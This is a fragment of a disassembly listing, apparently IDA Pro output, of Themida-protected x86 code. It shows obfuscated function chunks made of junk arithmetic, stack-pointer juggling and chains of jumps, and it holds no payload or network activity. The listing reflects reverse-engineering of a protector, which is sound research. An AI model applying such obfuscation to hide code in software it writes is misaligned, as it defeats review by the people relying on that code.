; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CDD


loc_5656D9:				; CODE XREF: sub_574CDD-D390j
		mov	edi, eax
		pop	eax
		add	edi, 1
		add	edi, 0FFFFFFFFh
		neg	edi
		xor	edi, 0D793A247h
		xor	ecx, edi
		pop	edi
		jmp	loc_56EB58
; END OF FUNCTION CHUNK	FOR sub_574CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5713A7


loc_5656F5:				; CODE XREF: sub_5713A7-F5E9j
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		push	ebx
		push	1F3335B9h
		pop	ebx
		jmp	loc_571CA7
; END OF FUNCTION CHUNK	FOR sub_5713A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_565713:				; CODE XREF: sub_571088-1CEFj
		mov	cx, [esp+0]
		jmp	loc_56A6B0
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570FB7


loc_56571C:				; CODE XREF: sub_570FB7-5573j
		push	5A2Dh
		jmp	loc_5605F5
; END OF FUNCTION CHUNK	FOR sub_570FB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564CDA


loc_565726:				; CODE XREF: sub_564CDA-47EDj
		add	ebp, eax
		add	ebp, 578633E3h
		pop	eax
		jmp	loc_56EF17
; END OF FUNCTION CHUNK	FOR sub_564CDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_565734:				; CODE XREF: sub_574304-513Aj
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		push	esi
		sub	esp, 4
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+4+var_4]
		pop	esp
		jmp	loc_56B3E0
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_565761:				; CODE XREF: sub_56BD44-B6AEj
		mov	esp, [esp+0]
		mul	cx
		push	small 2F7Ch
		mov	[esp+0], dx
		jmp	loc_56C0CE
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_565774:				; CODE XREF: sub_568E5C-45C6j
		push	385h
		mov	[esp+8+var_8], eax
		mov	eax, 6469501Eh
		push	edx
		jmp	loc_561720
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_565787:				; CODE XREF: sub_56616D+C2CBj
		or	eax, eax
		jz	loc_570135
		push	dword ptr [edi+28h]
		jmp	loc_57485E
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DD7


loc_565797:				; CODE XREF: sub_572DD7-78F7j
		pop	ecx
		mov	ebx, edi
		pop	edi
		add	[esp+4], ebx
		pop	ebx
		push	eax
		mov	eax, 20CD74EDh
		jmp	loc_574396
; END OF FUNCTION CHUNK	FOR sub_572DD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56102D


loc_5657AB:				; CODE XREF: sub_56102D+1j
		mov	ebx, 73665EFFh
		shr	ebx, 2
		shl	ebx, 4
		jmp	loc_56FD5E
; END OF FUNCTION CHUNK	FOR sub_56102D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_5657BB:				; CODE XREF: sub_574F16-3B9j
		mov	dl, bl
		pop	ebx
		push	eax
		jmp	loc_569438
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------


loc_5657C4:				; CODE XREF: Themida_:005700ADj
		add	ebx, 3A137ACFh
		jmp	loc_563A60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D855


loc_5657CF:				; CODE XREF: sub_56D855-F31j
		push	edi
		push	esi
		jmp	loc_56158E
; END OF FUNCTION CHUNK	FOR sub_56D855
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570C6A


loc_5657D6:				; CODE XREF: sub_570C6A-A33Aj
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56C77A
; END OF FUNCTION CHUNK	FOR sub_570C6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_5657E4:				; CODE XREF: sub_5678CB-436j
		pop	esp
		jmp	loc_57387C
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57117B


loc_5657EA:				; CODE XREF: sub_57117B+946j
		neg	cl
		push	ebx
		mov	bl, 0Ch
		xor	cl, bl
		pop	ebx
		xor	cl, 0ACh
		push	eax
		mov	al, cl
		mov	bh, al
		pop	eax
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		push	ecx
		jmp	loc_57148F
; END OF FUNCTION CHUNK	FOR sub_57117B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_56580A:				; CODE XREF: sub_56241E+13032j
		add	esp, 4
		sub	cx, bx
		jmp	loc_567E0C
; END OF FUNCTION CHUNK	FOR sub_56241E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_565818:				; CODE XREF: sub_5605BC+75D5j
		xor	ebp, 7EF42466h
		jmp	loc_56543E
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_565823:				; CODE XREF: sub_57146D-E49Aj
		sub	edx, 4
		xor	edx, [esp+0Ah+var_C+2]
		xor	[esp+0Ah+var_C+2], edx
		xor	edx, [esp+0Ah+var_C+2]
		pop	esp
		mov	[esp+6+var_8+2], edx
		jmp	loc_56FDE4
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_565838:				; CODE XREF: sub_5605BC+293Dj
		mov	ecx, [esp+20h+var_20]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_563F70
; END OF FUNCTION CHUNK	FOR sub_5605BC

; =============== S U B	R O U T	I N E =======================================



sub_565849	proc near		; CODE XREF: sub_566882+88ABj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00561AAC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00564D45 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005655F9 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00567EC8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056DC64 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056F132 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0057088D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00571E59 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00572826 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0057452C SIZE 00000032 BYTES

		push	ebx
		mov	ebx, 42035CAh
		jmp	loc_56DC64
sub_565849	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565B6E


loc_565854:				; CODE XREF: sub_565B6E-1C2Fj
		push	edi
		mov	edi, 7585596Dh
		push	ebx
		mov	ebx, 48ED28B1h
		shl	ebx, 7
		shl	ebx, 6
		push	ecx
		push	edi
		jmp	loc_5727C4
; END OF FUNCTION CHUNK	FOR sub_565B6E
; ---------------------------------------------------------------------------


loc_56586D:				; CODE XREF: Themida_:00568785j
		not	dword ptr [esp]
		jmp	loc_571BC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D69D


loc_565875:				; CODE XREF: sub_56D69D+212Aj
		or	edx, 72B53F1Ah
		sub	edx, 2C720372h
		jmp	loc_562460
; END OF FUNCTION CHUNK	FOR sub_56D69D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5653AD


loc_565886:				; CODE XREF: sub_5653AD+EB17j
		mov	edx, 229A0504h
		jmp	loc_570FF5
; END OF FUNCTION CHUNK	FOR sub_5653AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569CBC


loc_565890:				; CODE XREF: sub_569CBC+67B3j
		pop	[esp+14h+var_14]
		mov	esp, [esp+10h+var_10]
		jmp	loc_5752AB
; END OF FUNCTION CHUNK	FOR sub_569CBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B71F


loc_56589B:				; CODE XREF: sub_56B71F-2EFBj
		pop	edx
		sub	ebx, eax
		jmp	loc_56E38B
; END OF FUNCTION CHUNK	FOR sub_56B71F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572641


loc_5658A3:				; CODE XREF: sub_572641-4B56j
		xor	bl, 94h
		xor	bl, 0D6h
		add	al, 0C0h
		jmp	loc_569E95
; END OF FUNCTION CHUNK	FOR sub_572641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_5658B0:				; CODE XREF: sub_564D26+1F58j
		push	48AB65C7h
		mov	ebp, [esp+20h+var_20]
		push	edi
		mov	edi, esp
		jmp	loc_563216
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_5658C0:				; CODE XREF: sub_57354D-1909j
		mov	eax, [esp+8+var_8]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_56E855
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB51


loc_5658E4:				; CODE XREF: sub_56AB51+7243j
		mov	fs:[edx], al
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56AB51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574DC1


loc_5658EC:				; CODE XREF: sub_574DC1-99C9j
		add	eax, ebp
		push	ecx
		jmp	loc_574F40
; END OF FUNCTION CHUNK	FOR sub_574DC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DD54


loc_5658F4:				; CODE XREF: sub_56DD54-19CAj
		pop	[esp-4+arg_0]
		mov	esp, [esp-8+arg_4]
		add	edi, edx
		jmp	loc_56850A
; END OF FUNCTION CHUNK	FOR sub_56DD54
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564686


loc_565901:				; CODE XREF: sub_564686+C873j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	1DF0h
		mov	[esp+8+var_8], ebp
		push	[esp+8+var_4]
		pop	ebp
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		xchg	ecx, [esp+0]
		jmp	loc_565488
; END OF FUNCTION CHUNK	FOR sub_564686

; =============== S U B	R O U T	I N E =======================================



sub_56592A	proc near		; DATA XREF: Themida_:0055FF04o
		mov	cx, [esp+0]
		jmp	sub_56E05C
sub_56592A	endp

; ---------------------------------------------------------------------------


loc_565933:				; CODE XREF: Themida_:005671ADj
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C93


loc_565945:				; CODE XREF: sub_571C93-10488j
		mov	[esp+8+var_8], ecx
		push	ebx
		jmp	loc_56654C
; END OF FUNCTION CHUNK	FOR sub_571C93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570B3C


loc_56594E:				; CODE XREF: sub_570B3C-3371j
		add	esp, 4
; END OF FUNCTION CHUNK	FOR sub_570B3C
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_565954:				; CODE XREF: sub_56B06D+259Ej
		push	eax
		mov	eax, 626D205Ch
		sub	eax, 1
		push	ebx
		sub	esp, 4
		mov	[esp+18h+var_18], ebp
		jmp	loc_564DFB
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56596B:				; CODE XREF: sub_57354D-129CEj
		push	eax
		jmp	loc_56697A
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563207


loc_565971:				; CODE XREF: sub_563207+ED39j
		add	ebp, 14682E63h
		xor	ebp, 696538C5h
		sub	ebp, 6D5235FCh
		sub	esp, 4
		mov	[esp+10h+var_10], ebp
		not	[esp+10h+var_10]
		jmp	loc_5672C9
; END OF FUNCTION CHUNK	FOR sub_563207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FAE2


loc_565991:				; CODE XREF: sub_56FAE2+10j
		push	eax
		mov	eax, 2D530D76h
		mov	edx, 33847F96h
		jmp	loc_56907A
; END OF FUNCTION CHUNK	FOR sub_56FAE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C0A


loc_5659A1:				; CODE XREF: sub_571C0A-936Fj
		add	esi, 4
		push	ebx
		push	ebp
		mov	ebp, 7A700DF5h
		mov	ebx, 7A700DF9h
		jmp	loc_574BE1
; END OF FUNCTION CHUNK	FOR sub_571C0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_5659B8:				; CODE XREF: sub_56616D-432Ej
		pop	esi
		and	ecx, 1D472216h
		push	edx
		mov	edx, 51986FD4h
		xor	ecx, edx
		pop	edx
		add	eax, ecx
		mov	ecx, [esp-8+arg_4]
		jmp	loc_563030
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_5659D2:				; CODE XREF: sub_561027+ACEEj
		add	[edx], esi
		mov	edx, [esp+18h+var_18]
		add	esp, 4
		jmp	loc_56CE64
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57523A


loc_5659E2:				; CODE XREF: sub_57523A-2157j
		sub	edi, 0B7F2A3Bh
		add	edi, 7B9E311Ah
		add	edi, 233D0451h
		jmp	loc_56F202
; END OF FUNCTION CHUNK	FOR sub_57523A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CFE


loc_5659F9:				; CODE XREF: sub_567CFE+9D75j
		mov	eax, 636E169Ch
		inc	eax
		add	eax, 0FFFFFFFFh
		jmp	loc_55FFB8
; END OF FUNCTION CHUNK	FOR sub_567CFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FD97


loc_565A07:				; CODE XREF: sub_56FD97-49E6j
		mov	edx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_560145
; END OF FUNCTION CHUNK	FOR sub_56FD97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D455


loc_565A15:				; CODE XREF: sub_56D455+Aj
		mov	[esp+4+var_4], ebx
		mov	ebx, esp
		add	ebx, 4
		push	100h
		mov	[esp+8+var_8], eax
		mov	eax, 48607F32h
		jmp	sub_566B37
; END OF FUNCTION CHUNK	FOR sub_56D455
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564EBE


loc_565A32:				; CODE XREF: sub_564EBE-1DEBj
		neg	ecx
		inc	ecx
		jmp	loc_56C695
; END OF FUNCTION CHUNK	FOR sub_564EBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_565A3A:				; CODE XREF: sub_56FB8A-71D4j
		pop	ebx
		jmp	loc_56A729
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D7


loc_565A40:				; CODE XREF: sub_5747D7-5ED2j
		mov	eax, [esp+4+var_4]
		push	eax
		jmp	loc_564566
; END OF FUNCTION CHUNK	FOR sub_5747D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_565A49:				; CODE XREF: sub_56BD44-8189j
		xor	ebx, 3A793024h
		add	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+0], edi
		push	2
		push	[esp+4+var_4]
		pop	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	44F0h
		jmp	loc_562007
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5680FB


loc_565A7A:				; CODE XREF: sub_5680FB+1A14j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56B907
; END OF FUNCTION CHUNK	FOR sub_5680FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567049


loc_565A87:				; CODE XREF: sub_567049+A3AEj
		xor	[esp+0], ebp
		pop	dword ptr [edi+24h]
; END OF FUNCTION CHUNK	FOR sub_567049

; =============== S U B	R O U T	I N E =======================================



sub_565A8D	proc near		; CODE XREF: sub_57354D-1669j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00565D60 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005686BE SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005699DA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00569D16 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056C3D4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056CAAA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056CF72 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056DDD3 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056FF14 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005709F6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00572199 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057516F SIZE 00000019 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	3943h
		mov	[esp+8+var_8], esp
		jmp	loc_56DDD3
sub_565A8D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569CBC


loc_565AA0:				; CODE XREF: sub_569CBC+7EF0j
		mov	edi, esp
		add	edi, 4
		jmp	loc_569E71
; END OF FUNCTION CHUNK	FOR sub_569CBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_565AAD:				; CODE XREF: sub_5685B2+44B9j
		pop	ecx
		pop	ebp
		mov	ebp, esi
		push	[esp+4+var_4]
		pop	esi
		add	esp, 4
		xor	ebp, edi
		jmp	loc_56844E
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5631A3


loc_565ABF:				; CODE XREF: sub_5631A3+8CDFj
		add	dword ptr [esp+4], 13C935A6h
		push	[esp+4+var_4]
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		jmp	loc_560432
; END OF FUNCTION CHUNK	FOR sub_5631A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CF5


loc_565ADD:				; CODE XREF: sub_567CF5+9372j
		sub	edx, 4
		xchg	edx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp-4+arg_0], esi
		push	527Ch
		mov	[esp+0], esp
		jmp	loc_568002
; END OF FUNCTION CHUNK	FOR sub_567CF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_565AF6:				; CODE XREF: sub_56FA15+4D95j
		push	dx
		push	edx
		jmp	loc_5748B2
; END OF FUNCTION CHUNK	FOR sub_56FA15

; =============== S U B	R O U T	I N E =======================================



sub_565AFE	proc near		; CODE XREF: sub_56DFF9-9B7Ej

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= word ptr  0Ch

; FUNCTION CHUNK AT 00563B56 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00563FE0 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 00564E36 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00573430 SIZE 00000011 BYTES

		push	ebx
		mov	ebx, 0DD77A261h
		sub	ecx, 1DEB639Fh
		add	ecx, 350D0166h
		add	ecx, ebx
		push	ebx
		mov	ebx, 350D0166h
		sub	ecx, ebx
		pop	ebx
		add	ecx, 1DEB639Fh
		mov	ebx, [esp+0]
		add	esp, 4
		sub	edx, 5565240Ah
		push	edi
		jmp	loc_564E36
sub_565AFE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_565B36:				; CODE XREF: sub_567D31-77C0j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	[esp+4+var_4]
		pop	esp
		or	eax, eax
		jz	loc_574BEB
		push	dword ptr [edi+1Ch]
		sub	dword ptr [esp+0], 1DE718D2h
		pop	ecx
		jmp	loc_565256
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_565B5B:				; CODE XREF: sub_57146D-87BFj
		pop	eax
		pop	ebx
		add	bl, 75h
		add	bl, dl
		sub	bl, 75h
		push	dword ptr [esp+0]
		pop	edx
		jmp	loc_56A4BD
; END OF FUNCTION CHUNK	FOR sub_57146D

; =============== S U B	R O U T	I N E =======================================



sub_565B6E	proc near		; CODE XREF: sub_56628B+9A96j

var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00563F1E SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005648B0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00565854 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056866E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056C771 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056EF01 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056F649 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00570D89 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00570E58 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00571F68 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005727C4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00574794 SIZE 00000006 BYTES

		push	ebp
		mov	ebp, 5510403h
		sub	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+4+var_4], esi
		mov	esi, 0F186F18h
		sub	eax, esi
		pop	esi
		add	eax, ecx
		add	eax, 0F186F18h
		add	eax, 5510403h
		mov	ecx, [esp+0]
		jmp	loc_574794
sub_565B6E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569CBC


loc_565B9C:				; CODE XREF: sub_569CBC-3FCDj
		sub	esi, ecx
		sub	esi, 3C714A4h
		pop	ecx
		add	esi, eax
		push	57DBh
		mov	[esp+0], ebx
		mov	ebx, 27E32E8Bh
		shl	ebx, 2
		jmp	loc_5641F9
; END OF FUNCTION CHUNK	FOR sub_569CBC

; =============== S U B	R O U T	I N E =======================================



sub_565BBC	proc near		; DATA XREF: Themida_:0055FE5Co
		pop	dword ptr [edx]
		jmp	loc_55FF9F
sub_565BBC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_565BC3:				; CODE XREF: Themida_:0056CB12j
		xor	ebx, 57290402h
		dec	ebx
		neg	ebx
		xor	ebx, 658D349Eh
		sub	ebx, 0B2F9DEC5h
		add	edx, ebx
		jmp	loc_5674F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567866


loc_565BDF:				; CODE XREF: sub_567866-3E0Bj
		pop	eax
		sub	eax, edi
		pop	edi
		push	dword ptr [esp+0]
		pop	edi
		jmp	loc_56DED5
; END OF FUNCTION CHUNK	FOR sub_567866
; ---------------------------------------------------------------------------


loc_565BEC:				; CODE XREF: Themida_:00569792j
		pop	eax
		add	dword ptr [esp], 97E26D0h
		push	edx
		jmp	loc_568036
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_565BFA:				; CODE XREF: sub_56CC46+46D7j
		mov	esp, [esp+0Ch+var_C]
		push	edx
		jmp	loc_5602AF
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BC97


loc_565C03:				; CODE XREF: sub_56BC97-544j
		push	eax
		mov	eax, 4
		add	ecx, eax
		mov	eax, [esp+8+var_8]
		add	esp, 4
		add	ecx, 4
		xor	ecx, [esp+4+var_4]
		xor	[esp+4+var_4], ecx
		jmp	loc_573013
; END OF FUNCTION CHUNK	FOR sub_56BC97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5684A6


loc_565C22:				; CODE XREF: sub_5684A6+50A9j
		xor	[esp+4+var_4], esi
		jmp	loc_571541
; END OF FUNCTION CHUNK	FOR sub_5684A6
; ---------------------------------------------------------------------------


loc_565C2A:				; CODE XREF: Themida_:00563A4Fj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	[esp], ax
		pushf
		jmp	loc_56F1A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572D45


loc_565C59:				; CODE XREF: sub_572D45+10j
		add	esp, 4
		push	esi
		push	eax
		mov	eax, 4911407h
		jmp	loc_562474
; END OF FUNCTION CHUNK	FOR sub_572D45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_565C6B:				; CODE XREF: sub_569193+B870j
		xor	[esp+0Ch+var_C], edx
		xor	edx, [esp+0Ch+var_C]
		jmp	loc_570352
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_565C76:				; CODE XREF: sub_56E126-95D1j
		mov	esi, 0C564E19h
		jmp	loc_5624F5
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_565C80:				; CODE XREF: sub_56B06D+99F2j
		mov	eax, 6D010B9h
		shl	eax, 5
		xchg	eax, ecx
		not	ecx
		xchg	eax, ecx
		or	eax, 45AA4E86h
		inc	eax
		add	eax, 21A0346Eh
		add	eax, 0A88EF359h
		add	ecx, eax
		push	[esp+18h+var_18]
		pop	eax
		add	esp, 4
		sub	ecx, 59BE033Ch
		jmp	loc_56D61F
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C93


loc_565CB0:				; CODE XREF: sub_571C93+1732j
		add	ebx, esi
		jmp	loc_575229
; END OF FUNCTION CHUNK	FOR sub_571C93

; =============== S U B	R O U T	I N E =======================================



sub_565CB7	proc near		; DATA XREF: Themida_:0055FE94o

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edi
		jmp	sub_568D9E
sub_565CB7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560C12


loc_565CC2:				; CODE XREF: sub_560C12+B353j
		pop	edi
		push	edx
		push	esp
		jmp	loc_567FB6
; END OF FUNCTION CHUNK	FOR sub_560C12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D3B7


loc_565CCA:				; CODE XREF: sub_56D3B7-38DFj
		mov	esp, [esp+14h+var_14]
		shl	ebx, 2
		add	ebx, 3B4FE5ECh
		jmp	sub_566DC7
; END OF FUNCTION CHUNK	FOR sub_56D3B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569CBC


loc_565CDB:				; CODE XREF: sub_569CBC+9C5Dj
		mov	[esp+0], ecx
		mov	ecx, 1D33481Bh
		xor	ecx, 36885797h
		add	esi, 3C714A4h
		jmp	loc_565B9C
; END OF FUNCTION CHUNK	FOR sub_569CBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_565CF4:				; CODE XREF: sub_564D26+4C20j
		push	6C73088Bh
		jmp	loc_5670CD
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_565CFE:				; CODE XREF: sub_56241E+7DBj
		push	edx
		mov	dx, 6F43h
		push	ebx
		mov	bx, dx
		mov	cx, bx
		pop	ebx
		pop	edx
		push	ebp
		mov	bp, 6D2Ch
		sub	bp, 67B6h
		sub	cx, bp
		pop	ebp
		sub	cx, 1F9Ch
		push	edi
		mov	di, 6FACh
		shl	di, 3
		sub	di, 7AF2h
		sub	cx, di
		pop	edi
		jmp	loc_560760
; END OF FUNCTION CHUNK	FOR sub_56241E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_565D36:				; CODE XREF: sub_574304-6DAEj
		sub	ebx, 3AD63844h
		push	[esp+4+var_4]
		pop	ebp
		add	esp, 4
